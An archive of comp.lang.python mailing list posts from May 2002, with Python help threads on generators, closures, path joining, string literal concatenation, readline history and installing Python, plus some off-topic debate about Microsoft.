pie graphs, just like the graphs created using microsoft excel. Do you > know how could this be done ? do anyone know a module I can use for this ? > This page should help you: http://www.python.org/topics/scicomp/plotting.html -- ~Mark Nenadov (Software Developer for Hire - http://www.freelance-developer.com) From sholden at holdenweb.com Thu May 2 15:27:41 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 15:27:41 -0400 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: "James J. Besemer" wrote ... > > Alex Martelli wrote: > > > Actually, _I_ wouldn't mind it if there was a way to discourage people > > from starting Yet Another Round of language-change proposals or whines > > and complaints against some aspect of the language they have not > > carefully considered. > > It strikes me as somewhat arbitrary that "newbie" questions or comments > about language features are so irritating while answering newbie questions > over and over about how to split a text line into fields (or to measure > performance) is not. > IMHO, they both seem legitimate questions. > Perhaps the difference depends on what one enjoys doing? Alex does occasionally suffer from the whimsical misapprehension that people who make mistaken assertions want them to be corrected :-) > For the record, I did not initiate any of these language extension topics. > I only joined in after someone else put them into play. > Call that an excuse? Do you want the five-minute argument or the ten-minute argument? > > But > > I just hope I'll be in one of my time-management-necessitated > > periods of abstinence from this group next time some newbie > > arrogantly and querulously teaches us why Python should have > > [a] explicit block delimiters, [b] join as a method of all the > > possible sequences and not of joiner-objects, [c] hygienic > > macros, [d] booleans -- oops forget I mentioned the latter, since > > they're now BDFL-blessed cruf^H^H^H^H brilliant innovations...:-). > > A traditional solution for this would be for someone to write and maintain a > FAQ for the list. By tradition, list FAQs can prominently feature a list of > arbitrary topics that are strictly off limits. New members can be pointed > to the FAQ and people who willfully disregard the FAQ can be dealt with. > There is, of course, the good old auto-FAQ available in searchable form at http://www.python.org/cgi-bin/faqw.py and as a static HTML file at http://www.python.org/doc/FAQ.html > Otherwise, it's generally impossible for newcomers to know that a particular > topic is taboo or has been previously beaten to death. A smart guy like > probably should have been able to guess but I was initially misled by the > unusually broad range of evidently legal topics on this list; the boundaries > are entirely non obvious. People like myself are perfectly capable of > following rules that are clearly posted and duly established, as opposed to > individual complaints that for all we know are merely one person's opinion. > Acceptable topics are anything you don't get flamed for ;-). Actually there aren't many rules on this group, and readers tend by and large to be a pretty tolerant lot - though I seem to remember that we, for example, first crossed swords when I wasn't having my best day. > Of course the FAQ itself would have to be vetted by the group, so it truly > represents a consensus. A good FAQ is a non-trivial amount of work. Any > volunteers? > I did once consider doing some serious work to bring the FAQ up to date, but I seem to remember the BDFL made some dismissive remark along the lines of "nobody reads FAQs any more". I may be misrepresenting him, but since he probably won't read this what the hell do I care ;-). One major problem is the AutoFAQ's careless habit of dropping articles into the section int he order of submission. We might make a good team for that task ... > Finally, there's the issue of once taboo topics that become language > features. If "bool" had been listed as a taboo topic perhaps the > corresponding PEP would never have been written (for better or worse, > depending on your viewpoint). But collisions such as this probably doesn't > happen frequently enough to be a concern. > Well this wasn't a taboo topic. It was a feature enhancement that Guido should have just put in without asking for permission, given the degree of sound and fury the proposal elicited. Frankly I'd be happy if we could just all find the self-discipline to only post once on such topics. Interestingly Guido recently mentioned on python-dev that you can do True.__class__ = int and get the "correct" integer representations for Boolean results. I thought that was rather neat. Now, what were we disagreeing about? too-faq'd-out-to-be-bothered-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From maxm at mxm.dk Tue May 14 11:08:43 2002 From: maxm at mxm.dk (Max M) Date: Tue, 14 May 2002 17:08:43 +0200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CE05339.6660B6BA@engcorp.com> <3CE0FB1D.C427F4E3@engcorp.com> Message-ID: <3CE1287B.7060703@mxm.dk> Peter Hansen wrote: > Chris wrote: > I believe you're confusing two separate issues. Passion and > art are orthogonal concepts. I have a great deal of passion > for programming and technology. I just don't need to find > non-practical "artistic" approaches to doing it most of the > time. I take pleasure in noticing the occasional exceptionally > elegant design or approach, but to make those an explicit goal > is, to me, counter-productive. But I guess we're way into > religious territory, so I've said enough... :-) Programming is, like cooking, not an art but a craft. regards Max M From webmaster at apologetyka.com.pl Sat May 4 04:56:50 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Sat, 04 May 2002 10:56:50 +0200 Subject: XML: minidom toxml() does not work for non English files! :-( References: Message-ID: I found a solution. The last release of ActivePython has bad StringIO.py file! I compare it with Python 2.2.1rc from www.python.org _which works fine_. The easiest way is to overwrite bad StringIO.py file with the new one. -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://www.pik-net.pl/~zbiru From peter at engcorp.com Mon May 20 12:47:03 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 12:47:03 -0400 Subject: How to call another file References: <83r8kbw5f6.fsf@panacea.canonical.org> <77850380B97D3D89.015A3084C891C287.2096BE53E22167DB@lp.airnews.net> <83vg9mu0fn.fsf@panacea.canonical.org> <83znyvqhfc.fsf@panacea.canonical.org> Message-ID: <3CE92887.E12F7205@engcorp.com> Kragen Sitaker wrote: > > "Thomas Heller" writes: > > "Kragen Sitaker" wrote in message news:83vg9mu0fn.fsf at panacea.canonical.org... > > > I thought about "start"; unfortunately, it runs stuff in the > > > background and returns immediately, which is not what the OP wanted. > > > > > That's where the /WAIT switch is for, available on win2k at least: > > > > os.system("start /WAIT mypage.html") > > Thanks for the correction! I'm glad there was a simple answer to the > question, and that Windows is not as inferior as I thought :) Oh, it _is_ ... just not in this one particular respect. :) -Peter From zopestoller at thomas-guettler.de Thu May 23 10:30:11 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Thu, 23 May 2002 16:30:11 +0200 Subject: os.path.join() necessary? References: Message-ID: <3CECFCF3.2010207@thomas-guettler.de> Michael Chermside wrote: > I think it would be a nice feature of a programming language that all > file-and-path names are expressed using '/' within the language and > automatically converted to the platform-appropriate format by the > language itself (and paths obtained from the OS are converted to '/' > format also). Unfortunately, as far as I know, Python is not that > language. I *think* (someone more knowledgable please correct me if I'm > wrong) that "wierd" OSes like VMS (and there's MUCH wierder stuff out > there) don't do this conversion. Unix & friends don't need it, Windows > DOES do the conversion, and I don't know about Macs. But for TRUE > portability, I believe you still have to deal with os.path.join(). I was suprised that I can use (dir + '/' + file) on windows. Since my application will only run on windows and unix I won't use os.path.join() If you just want to join a directory and a file it is no problem, but I store paths in a database. This would mean I would have to transform the path to the current operating system each time I get it from the database. thomas From tebeka at lycosmail.com Thu May 9 05:00:55 2002 From: tebeka at lycosmail.com (Miki Tebeka) Date: 9 May 2002 02:00:55 -0700 Subject: help needed on generator References: <5lijdu8recmu4sgrmgq1m95fgqg8p3brjg@4ax.com> Message-ID: <548ef0ae.0205090100.630a2f98@posting.google.com> Gon?lo Rodrigues wrote in message news:<5lijdu8recmu4sgrmgq1m95fgqg8p3brjg at 4ax.com>... > Hi, > > I've coded this generator to traverse a directory tree. > > #Import generators. > from __future__ import generators > > #Import modules. > import os, sys > > def true(*args, **kwargs): > """The identically true function.""" > return 1 > > def dirtree(root, predicate = true): > """Visit a directory tree, using a generator. > > A predicate can be provided to trim the directories visited.""" > > #Yield root dir. > if predicate(root): > yield root > > #Recurse into subdirectories. > for dirname in [dir for dir in os.listdir(root) if > os.path.isdir(dir)]: > if predicate(dirname): # CHANGE HERE for d in dirtree(os.path.join(root, dirname), predicate): yield d > > > if __name__ == '__main__': > try: > root = sys.argv[1] > except IndexError: > root = os.getcwd() > > for dir in dirtree(root): > print dir > > When I feed "C:" to the sucker (run as script) only "C:" gets printed. > Can anyone point out to me what I am doing wrong? > > P.S: I want to keep the order: first yield the directory then go and > visit the childs. > > Thanks in advance and best regards, > Gon?alo Rodrigues HTH Miki From skip at pobox.com Thu May 30 16:39:20 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 May 2002 15:39:20 -0500 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: <15606.36344.820757.29771@12-248-41-177.client.attbi.com> Grant> I discovered today that strings can sometimes be concatenated Grant> without using a "+": Actually, string literals can always be concatenated without adding them. Grant> I discovered this, of course, while making a mistake like this: >>> a = ['zero', 'one' ... 'two', 'three'] >>> a ['zero', 'onetwo', 'three'] Yup, that's just how it's supposed to work. It makes it easier to compose long strings. For example, I have code like this that queries a database: rows = self.executesql("select cities.city, state, country" " from cities, venues, events, addresses" " where cities.city like %s" " and events.active = 1" " and venues.address = addresses.id" " and addresses.city = cities.id" " and events.venue = venues.id", (city,)) At compile time all those strings are concatenated into one long string. The select statement remains readable for me, but is represented as a single string constant in the generated bytecode. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From bokr at oz.net Fri May 17 23:01:28 2002 From: bokr at oz.net (Bengt Richter) Date: 18 May 2002 03:01:28 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205171428.50029adc@posting.google.com> Message-ID: On 17 May 2002 15:28:06 -0700, spam at bugbear.com (Paul Graham) wrote: >Thanks to several people who have sent me Python >"translations" for the following: > >Scheme: (define (foo x) > (lambda (y) (set! x (+ x y)))) > Ugly and not recommended, but as close as I've yet come: >>> def foo(x): return [lambda y:z.append(z.pop()+y) or z[0] for z in [[x]]][0] ... It seems to work (unlike my previous misreading of incrementing by 1 instead of i in another example). >>> f = foo(0) >>> f(0) 0 >>> [f(x) for x in xrange(10)] [0, 1, 3, 6, 10, 15, 21, 28, 36, 45] >>> [f(1) for x in xrange(10)] [46, 47, 48, 49, 50, 51, 52, 53, 54, 55] >>> [f(100) for x in xrange(10)] [155, 255, 355, 455, 555, 655, 755, 855, 955, 1055] >Perl: sub foo { > my ($n) = @_; > sub {$n += shift} > } > >Here is a summary of the answers I got. This is >the closest thing to a direct translation: > >def foo(n): > s = [n] > def bar(i): > s[0] += i > return s[0] > return bar > >but it is considered ugly, and the canonical way to >do this seems to be by defining a class: > >class foo: > def __init__(self, n): > self.n = n > > def __call__(self, i): > self.n += i > return self.n > Yes, it's much clearer. But I just thought of the following, which seems to work, and seems to me also pretty clear: >>> def foo(n): ... def bar(i): ... bar.s += i ... return bar.s ... bar.s = n ... return bar ... >>> f=foo(4) >>> f(3) 7 >>> f(10) 17 The function bar is accessible via its own closure and thereby the attribute s. So the attribute namespace seems to work like an assignable-within closure ;-) BTW, is a function's appearing in its own closure a problem for the gc? Regards, Bengt Richter From fperez528 at yahoo.com Mon May 6 01:53:55 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 05 May 2002 23:53:55 -0600 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> <3cd77dd6.1099557299@news.dsl.pipex.com> <3cd4edb0$0$230$cc9e4d1f@news.dial.pipex.com> Message-ID: Tim Hammerquist wrote: > Nice. Should be more than enough, considering many professors accept > (22/3) as a reasonable value (~3.142857...) > you mean 22/7: In [1]: 22/7. Out[1]: 3.1428571428571428 In [2]: pi Out[2]: 3.1415926535897931 In [3]: 100*(__-_)/_ Out[3]: 0.040249943477070081 It's actually pretty good, .04% error is enough for most day to day things. Cheers, f. From bellamy at neverland.net Fri May 31 15:43:03 2002 From: bellamy at neverland.net (Bruno Bellamy) Date: Fri, 31 May 2002 21:43:03 +0200 Subject: How to play a .wav sound? Message-ID: I guess the question has probably been asked many times, sorry for bothering... But I searched here and there, and I couldn't find how to do that, simply play a .wav sound from a python program using Tkinter. Moreover, I need to do that in a program that would run similarly under Linux and Windows. I saw there's a python module called wave, but it seems it can only read .wav files. I coulnd't find a way to actually play the sound. Maybe it's hidden somewhere? If anybody can help me, that would be cool. :) -- Bruno Bellamy: bellamy at neverland.net Web perso: http://neverland.net/bellamy ShowerGate, le croquis de la semaine: http://showergate.net From tjreedy at udel.edu Wed May 29 11:46:15 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 29 May 2002 15:46:15 GMT Subject: windows-python-question References: Message-ID: "Uwe Schmitt" wrote in message news:ad2oo9$d55fq$1 at hades.rz.uni-sb.de... > Hi, > > I'd like to write a python-program which is startet under Win when > a file with an apropriate extension ('.rnt' for example) is > double-klicked. How does my python-program know which file was > clicked so that my program can load it ??? If the association is set up correctly via Windows Explorer View/Folder Options/File Types or via RegEdit or registry system calls, file name should, I believe, be sys.argv[1]. TJR From jb at cascade-sys.com Tue May 21 04:02:55 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Tue, 21 May 2002 01:02:55 -0700 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> Message-ID: <3CE9FF2F.DD6CF828@cascade-sys.com> "David K. Trudgett" wrote: > Argumentum ad hominis, [sic.] as you do here by name-calling, doesn't > serve > any useful purpose (except insofar as it is useful to metaphorically > bludgeon those who express an opinion that differs from the > intellectual aggressor). Nothing in my reply was intended to specifically criticize your post. In composing my reply I was merely thinking generally of the myriad MS-bashing posts I have read here in recent weeks and months. I merely felt compelled to praise Tim's, mainly because he did argue at length why the contrary views are short sighted and (IMHO) child-like. Furthermore, I found it a refreshing change of pace from the MS ankle biting that is so prevalent here. > People should be able to express facts and opinions, even strong ones, > without being labeled "childish" and "mindless". We each are free to express our opinion, even strong ones. Even ones that by the writers own admission is purely "opinion" and "may contain traces of nuts." If YOU choose include what you said in my characterization as "childish," then so be it. After all, "you are what you do," regardless of whether or how people apply labels. And yet you seem oddly hypocritical on the issue of "labels". You object to someone MAYBE, INDIRECTLY applying an IMPLIED label to you but you make some borderline libelous accusations and characterizations about MS corp. and that's fair game. I guess it's like stealing from a big company is OK because they have lots of money but it's still bad to steal from normal people. > Not everyone has > hours of free time to write long diatribes in support of their > position (and good on those who do). True and irrelevant. > For those who think the sun shines out of corporate behemoths like > Microsoft, a simple statement of disagreement, perhaps with a few > actual reasons for it, might suffice, I should think. Which brings us back to Mr. Daneluck's thoughtful and insightful post, which prompted my initial remark. I'm no big fan of MS but as a businessman I appreciate and respect their position in the market. It's stupid to ignore their installed base. Whether you agree or not, their economic power is something to be reckoned with. The value you get for what you pay is one of the best bargains in the PC world. Like Intel, they're relentlessly competitive AND they take a balanced view of running a business (paying attention to finance, marketing, sales, strategic planning, HR and other functions in addition to technology), which is the main reason they have been successful. It's the quintessential American Success Story -- after all they started out just 12 geeks in a room, writing software for the 8008. From a purely meritocratic standpoint, they deserve to be where they are today. From a pure Zen, go-with-the-flow standpoint, WinTel is the #1 platform to target for commercial products. There are other choices and you don't have to use Microsoft products, but like it or not MS IS a big part of our reality today and its likely to be around for the rest of our lives. >From this standpoint, people who view MS as "evil" or some big scary bogey man, ARE simply being childish, neglecting many practical and realistic issues. You want bogey men? What about IBM, who spends more in marketing each year than MS grosses in revenue? What about Big Oil, controlling about 10% of the GNP? By last count, 100% of US oil companies today are direct descendants of Rockafeller's Standard Oil. What about Big Government? 20-25% of the GNP. MS's large fraction of the computer industry is nothing by comparison. Incidentally, re. C#, MS came out with it as a product well AFTER Sun threatened to cancel their license to use Java (eventually making good on this threat). So in forcing MS to abandon Java (rather than negotiate a settlement), one could argue it's really Sun Microsystems rather than MS that fucked up the wonderful world of "open standards" in this narrow regard. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From erno-news at erno.iki.fi Sun May 5 12:33:35 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 05 May 2002 19:33:35 +0300 Subject: high volume/speed gethostbyaddr how? References: Message-ID: In article , Oleg Broytmann writes: | On Sat, May 04, 2002 at 03:28:28PM +0200, Dan Polak wrote: || Good solution too but I didn't want the extra library so I went with || threads. | Be warned that standard resolver library is not thread-safe. Be careful, | be very careful. are you sure? it looks to me like a lock is used if the platform doesn't have a gethostbyname_r. of course, you won't get much of a speedup in this case, but it shouldn't malfunction. -- erno From shagshag13 at yahoo.fr Tue May 28 06:36:23 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Tue, 28 May 2002 12:36:23 +0200 Subject: How to install Python without root priviledges ? Message-ID: I'm a real newbie in unix's world and i would like to install python on a machine where *i can't have* any root priviledges, how should i do that ? (it's on a HP Unix, but don't even know how to check the exact os name or version...) i do this : mkdir /home/shagshag/local download Python-2.2.1.tgz gunzip tar -xvf Python-2.2.1.tgz cd Python-2.2.1 ./configure --prefix=/home/shagshag/local make And i get nothing !!!! Is it the good way to install ??? Thanks in advance, S13. please, don't forget i'm not a skilled unix guy... From sdm7g at Virginia.EDU Wed May 29 13:58:05 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Wed, 29 May 2002 13:58:05 -0400 (EDT) Subject: variable X procuct - [(x,y) for x in list1 for y in list2] In-Reply-To: <1022686332.297659@newsmaster-04.atnet.at> Message-ID: On Wed, 29 May 2002, steindl fritz wrote: > > the shortest version was like this - > > > def cross(x): > if x == []: return [[]] > return [[z]+y for y in cross(x[1:]) for z in x[0]] > > Usage: cross([list1,list2]), cross([list1,list2,list3]), ... > How about: reduce( lambda X1,X2: [ one+[two] for one in X1 for two in X2], listoflists, [[]] ) ... or if you want a list of tuples instead: reduce( lambda X1,X2: [ one+(two,) for one in X1 for two in X2], listoflists, [()] ) >>> a [1, 2] >>> b ['a', 'b', 'c'] >>> c [100, 200] >>> z ['x', 'y', 'z'] >>> reduce( lambda X1,X2: [ one+[two] for one in X1 for two in X2], [a,b,c,z], [[]] ) [[1, 'a', 100, 'x'], [1, 'a', 100, 'y'], [1, 'a', 100, 'z'], [1, 'a', 200, 'x'], [1, 'a', 200, 'y'], [1, 'a', 200, 'z'], [1, 'b', 100, 'x'], [1, 'b', 100, 'y'], [1, 'b', 100, 'z'], [1, 'b', 200, 'x'], [1, 'b', 200, 'y'], [1, 'b', 200, 'z'], [1, 'c', 100, 'x'], [1, 'c', 100, 'y'], [1, 'c', 100, 'z'], [1, 'c', 200, 'x'], [1, 'c', 200, 'y'], [1, 'c', 200, 'z'], [2, 'a', 100, 'x'], [2, 'a', 100, 'y'], [2, 'a', 100, 'z'], [2, 'a', 200, 'x'], [2, 'a', 200, 'y'], [2, 'a', 200, 'z'], [2, 'b', 100, 'x'], [2, 'b', 100, 'y'], [2, 'b', 100, 'z'], [2, 'b', 200, 'x'], [2, 'b', 200, 'y'], [2, 'b', 200, 'z'], [2, 'c', 100, 'x'], [2, 'c', 100, 'y'], [2, 'c', 100, 'z'], [2, 'c', 200, 'x'], [2, 'c', 200, 'y'], [2, 'c', 200, 'z']] >>> -- Steve Majewski From erno-news at erno.iki.fi Thu May 9 14:54:39 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 09 May 2002 21:54:39 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , martin at v.loewis.de (Martin v. Loewis) writes: | That still leaves the standard library. There are batteries included, | but they are all English - I hope you are not proposing that those | also get localized... it is a problem, but for teaching or embedding it may be reasonable to not use it, or only use small parts of it. or write local language wrappers for the standard library. -- erno From logiplexsoftware at earthlink.net Wed May 8 16:37:55 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 8 May 2002 13:37:55 -0700 Subject: Render HTML? In-Reply-To: <20020508162310.A2757@node0.opengeometry.ca> References: <3CD8D3A6.AD85EB08@anansispaceworks.com> <20020508162310.A2757@node0.opengeometry.ca> Message-ID: <20020508133755.3d479a8e.logiplexsoftware@earthlink.net> On Wed, 8 May 2002 16:23:10 -0400 William Park wrote: > netscape -remote "openURL(http://www.babes.com) -remote "saveAs(babes.ps, Postscript)" > -- > William Park, Open Geometry Consulting, > 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin This is what you do with an 8-CPU cluster? Some people have all the luck... -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From martin at v.loewis.de Wed May 8 01:41:24 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 08 May 2002 07:41:24 +0200 Subject: isinstance() not recognizing an instance correctly (python bug?) References: Message-ID: Fernando Perez writes: > I've found a rather unpleasant situation where isinstance(obj,cls)==0, even > though obj _is_ indeed a cls() instance. I don't know if this should be > considered a bug or just an unavoidable consequence of the circumstances > where it happens. That's really hard to believe. Can you demonstrate it in a small, self-contained example (including instructions like what Python version to use, on what operating system, and what commands to execute in what order)? > Well, when 's' above is passed to display(), it fails to identify that s is > indeed an instance of someclass(). The reason, I think, is that the > interactive code is executed in a separate namespace than the display code, > and therefore someclass exists with two different memory addresses. This is very unlikely. When somemodule is imported the second time, sys.modules is checked to see whether it is already imported, and if so, the existing module is re-used. In turn, somemodule.someclass ought to be the same module all the time. One possible cause is that you import the same code both as a submodule of a package, and as a top-level module (i.e. somepackage.somemodule vs. somemodule). In that case, those two copies will indeed have distinct definitions of someclass. In any case, without seeing further details, I'm unwilling to believe that what you report actually happened. Regards, Martin From solosnake at solosnake.without_this.freeserve.co.uk Wed May 29 03:49:48 2002 From: solosnake at solosnake.without_this.freeserve.co.uk (Solosnake) Date: Wed, 29 May 2002 08:49:48 +0100 Subject: What does Python offer? Message-ID: Hello I have beome curious about Python after playing a game called 'Severance - Blade of Darkness', which uses python scripts. I know very little about the language. I am a C++ programmer, and would like to ask the Python community : What is unique or special about Python? Why would it be useful to a games programmer? Could it be used for allowing users to customize games, eg reprogramming AI bots etc? Thanks for all answers D?ire From niemeyer at conectiva.com Fri May 3 13:51:08 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Fri, 3 May 2002 14:51:08 -0300 Subject: Low level python In-Reply-To: References: Message-ID: <20020503145108.A3030@ibook.distro.conectiva> > Maybe I'm misunderstanding you, but isn't this what the -OO option does? You're almost understanding me! :-)) You're talking about Python compiled code, while I'm talking about C compiled code. -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From logiplexsoftware at earthlink.net Wed May 29 16:44:14 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 29 May 2002 13:44:14 -0700 Subject: hooking pc to a card embosser In-Reply-To: <3cf4d84c.2524688@10.0.0.1> References: <3cf4d84c.2524688@10.0.0.1> Message-ID: <20020529134414.40225373.logiplexsoftware@earthlink.net> On Wed, 29 May 2002 13:39:25 GMT dyoungblood at mindspring.com wrote: > I'm hoping that you guys can help me with a project. I repair card > embossers ( machines that emboss-punch raised letters- on credit cards > and such). One of the ways that these machines can be controlled by is > hooking it up to a dumb terminal. I want to make a program for my > laptop that will simulate a dumb terminal and thereby give me full > control of the machine. Hooking up to it this way gives me the ability > to save layouts and change system settings, etc. The machine has setup > options for the following terminals: > 1) Sherwood 750-ST > 2) QVT 101+ > 3) Esprit 6110+ Have a look at telnetlib in the standard library. Although it connects via a socket (which I doubt your device has), I expect you could get some useful ideas from it or perhaps even modify it to talk over a serial line rather than a socket. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From marklists at mceahern.com Tue May 21 21:34:01 2002 From: marklists at mceahern.com (Mark McEahern) Date: Tue, 21 May 2002 20:34:01 -0500 Subject: Is python really slow? In-Reply-To: <20020522013235.6857538F50@coffee.object-craft.com.au> Message-ID: For what it's worth, the OP might want to check this out: http://www.bagley.org/~doug/shootout/ // mark From nospam at nospam.nospam Sun May 12 16:13:13 2002 From: nospam at nospam.nospam (Max) Date: Sun, 12 May 2002 20:13:13 GMT Subject: small string split prob References: Message-ID: "ian" ha scritto nel messaggio news:QRzD8.62305$oK4.106853 at NewsReader... > hi im having trouble splitting a string any help would be great!! > The RCPTTO contains a line read from a socket. > when i try to split an e-mail address into the box and domain sub parts i > get a type error on index!? > > #split e-mail address > index = RCPTTO.find("@") > box = RCPTTO[0,index] > domain = RCPTTO[index + 1,RCPTTO.len()] > > print box > print domain > Try this one: index = RCPTTO.find("@") box = RCPTTO[0: index] domain = RCPTTO[index + 1: len(RCPTTO)] print box print domain It should work. You used , instead of : for slicing, syntax error. I'm not sure, but i think string have no .len() member function. I use len(string) to acheive the same result... From alex at securepipe.com Sat May 25 23:43:41 2002 From: alex at securepipe.com (Alex Russell) Date: Sat, 25 May 2002 22:43:41 -0500 Subject: email module in 2.2 References: <3VXH8.83948$vm6.17970229@ruti.visi.com> Message-ID: Matthew Dixon Cowles wrote: > You're very welcome. That code doesn't do anything in particular with > multipart/alternative messages primarily because you didn't mention > that it needed to . Fair enough =) > Of course you may be right but I'd be rather surprised if that were > the case. I've written an email client in Python and started before > the email module (and its predecessor mimelib) was available. So I've > done a bunch of fiddling with MIME messages using the email module and > other tools and have yet to find anything to do with MIME messages > that the email module doesn't make easier. > > If you'll post a bit more about what you need to do, we may be able to > help more. I've encountered messages where there's a multi-part alternative message that's wrapping both text/plain and text/html versions of a message. I really don't want the HTML part (security problems galore), so I just want to kick back the text/plain sub-sections in this case. The boundaries (given by Message.get_boundary()) seperate them, but short of string.split-ing on that boundary, I'm at a loss for how to do this. > At a guess, you may be running into the problem of duplicating the > conventions followed by some particular email client or clients. I think this may be the case, but being the perfectionist I am, I want to do the "right thing" no matter how badly mangled the email client may be. Handling input from well-behaved clients seems fairly trivial, but unfortunantly they seem to be in the minority. > The email module hands back MIME parts and your program can do anything it > likes with them. Replicating the behavior of some email client can be > a nuisance but it's a nuisance that's separate from the nuisance of > parsing MIME messages. I suppose I don't want to replicate any behaviour (I'm only going to be sending plain-text email, no matter what), but I sure would like to be able to handle attachments intelligently. Any help or code you could send would be great. Thanks again for your time. Alex -- Alex Russell alex at securepipe.com alex at netWindows.org From sholden at holdenweb.com Mon May 6 08:01:37 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 08:01:37 -0400 Subject: making python scripts backwards compatible References: <13285ea2.0205042356.15ab8c30@posting.google.com> Message-ID: "J.Jacob" wrote in message news:13285ea2.0205042356.15ab8c30 at posting.google.com... > [Brian Quinlan] > > ... I wrote the > > module is question and, before reading this thread, I had no idea what > > the version requirements were (1). Are patch writers also required to > > test against multiple Python versions? > > > > My post was in no way meant to say something bad about your module, > the module is great, the coding is clear, it has comments; so it was > not too much work for me to make it backwards compatible. Just one > list comprehension and the odd "".split syntax. It was just the last > one i did, chance. As you mention in an earlier post many people are > volunteers and simply do not have enough time to add code for > backwards compatibility. I would much rather have that you keep > producing good modules I have to adapt, than that you don't. Keep up > the good job please! ...and of course you *did* make sure your patches are available so others needing the same feature can easily get hold of them, right? ...and, if so, you *are* going to track future changes to the module so your backward-s compatible version remains forward-compatible to later Pythons, right? There seems to be an attitude that somehow it's possible to build software systems so that individual components can be just made to drop into a system together without any need to trim anything around the edges to fit. While a lot can be done with good engineering techniques, I would like to reminfd the group that ultimately the thing that holds a software system together is *work* and *understanding*. While it may be annoying that changes (remarkably few of them, I still insist, but that's another thread...) are needed to move software forward from one environment to another, it's simpy unreasonable (for reasons such as those Brian outlined) to expect contributors to take your particular environment into account. When they haven't, then the appropriate response is the one you outlined above (make it work in your environment). So, in turn, I'm not trying to say anything bad about your response, simply using it to illustrate the point that software, while extremely elastic, cannot easily be all things to all people. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From claird at starbase.neosoft.com Fri May 17 08:42:54 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 17 May 2002 07:42:54 -0500 Subject: How to call another file References: <83r8kbw5f6.fsf@panacea.canonical.org> Message-ID: <77850380B97D3D89.015A3084C891C287.2096BE53E22167DB@lp.airnews.net> In article <83r8kbw5f6.fsf at panacea.canonical.org>, Kragen Sitaker wrote: . . . >e.g. os.system("/home/yiyang/analyze-fatalities.sas"). But on more >primitive systems, like Windows, you will need to figure out where SAS >lives and invoke SAS with the file. . . . Or not. Most Windows users can write import os os.system("notepad") os.system("start mypage.html") Depending on the installation of SAS, it might be at least as easy, in a superficial way, to invoke it under Windows as under Unix. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From dkuhlman at rexx.com Thu May 2 12:16:05 2002 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Thu, 02 May 2002 09:16:05 -0700 Subject: Command history in python shell under linux References: <3CD147FA.2040905@olen.to> Message-ID: Joonas Paalasmaa wrote: > Stephen Boulet wrote: >> Where is readline support enabled? >> >> I tried running './configure --help' in the source directory for >> python, but readline wasn't one of the options... > > Uncomment and modify some readline-related lines in Modules/Setup > after running ./configure Trying to save you a bit of frustration in advance ... When I recompiled the source after uncommenting the readline line in Modules/Setup, I believe I had to install the package libreadline-dev in order to get a header file needed by readline. A couple of additional suggestions: 1. For a fancier Python shell, take a look at IPython: http://www-hep.colorado.edu/~fperez/ipython/ 2. The following in the Python standard distribution shows (a) how to set up history that lasts across invocations of the Python interpreter and (b) how to install completion of Python identifiers. http://www.python.org/doc/current/lib/readline-example.html http://www.python.org/doc/current/lib/module-rlcompleter.html 3. My Python initialization file is below. Set the PYTHONSTARTUP environment variable so that it will be executed. The following in my .bashrc-private file works for me: export PYTHONSTARTUP=$HOME/initialize.py #======================================================== # initialize.py # Dave's initialization file for Python interactive sessions. import sys, os, readline histfile = os.path.join(os.environ["HOME"], ".pyhist") try: readline.read_history_file(histfile) except IOError: pass import atexit atexit.register(readline.write_history_file, histfile) del os, histfile try: import readline except ImportError: print "Module readline not available." else: import 